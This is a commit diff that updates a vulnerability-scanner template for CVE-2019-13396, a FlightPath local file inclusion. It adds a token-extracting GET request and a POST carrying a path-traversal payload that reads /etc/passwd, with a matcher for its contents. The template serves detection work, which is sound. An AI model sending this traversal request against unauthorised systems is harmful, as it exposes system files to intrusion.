Update CVE-2019-13396.yaml

cves/2019/CVE-2019-13396.yaml

@@ -1,7 +1,7 @@
 id: CVE-2019-13396
 info:
   name: FlightPath Local File Inclusion
-  author: 0x_Akoko
+  author: 0x_Akoko,daffainfo
   severity: high
   description: FlightPath versions prior to 4.8.2 and 5.0-rc2 suffer from a local file inclusion vulnerability.
   reference:
@@ -18,18 +18,32 @@ info:
 requests:
   - raw:
       - |
-        POST /flightpath/index.php?q=system-handle-form-submit HTTP/1.1
+        GET /login HTTP/1.1
         Host: {{Hostname}}
 
-        callback=system_login_form&form_token=fb7c9d22c839e3fb5fa93fe383b30c9b&form_include=../../../../../../../../../etc/passwd
+      - |
+        POST /flightpath/index.php?q=system-handle-form-submit HTTP/1.1
+        Host: {{Hostname}}
+        Accept: application/json, text/plain, */*
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+
+        callback=system_login_form&form_token={{token}}&form_include=../../../../../../../../../etc/passwd
 
     matchers-condition: and
     matchers:
       - type: regex
-        part: body
         regex:
           - "root:.*:0:0:"
 
       - type: status
         status:
           - 200
+
+    extractors:
+      - type: regex
+        name: token
+        part: body
+        group: 1
+        internal: true
+        regex:
+          - "idden' name='form_token' value='([a-z0-9]+)'>"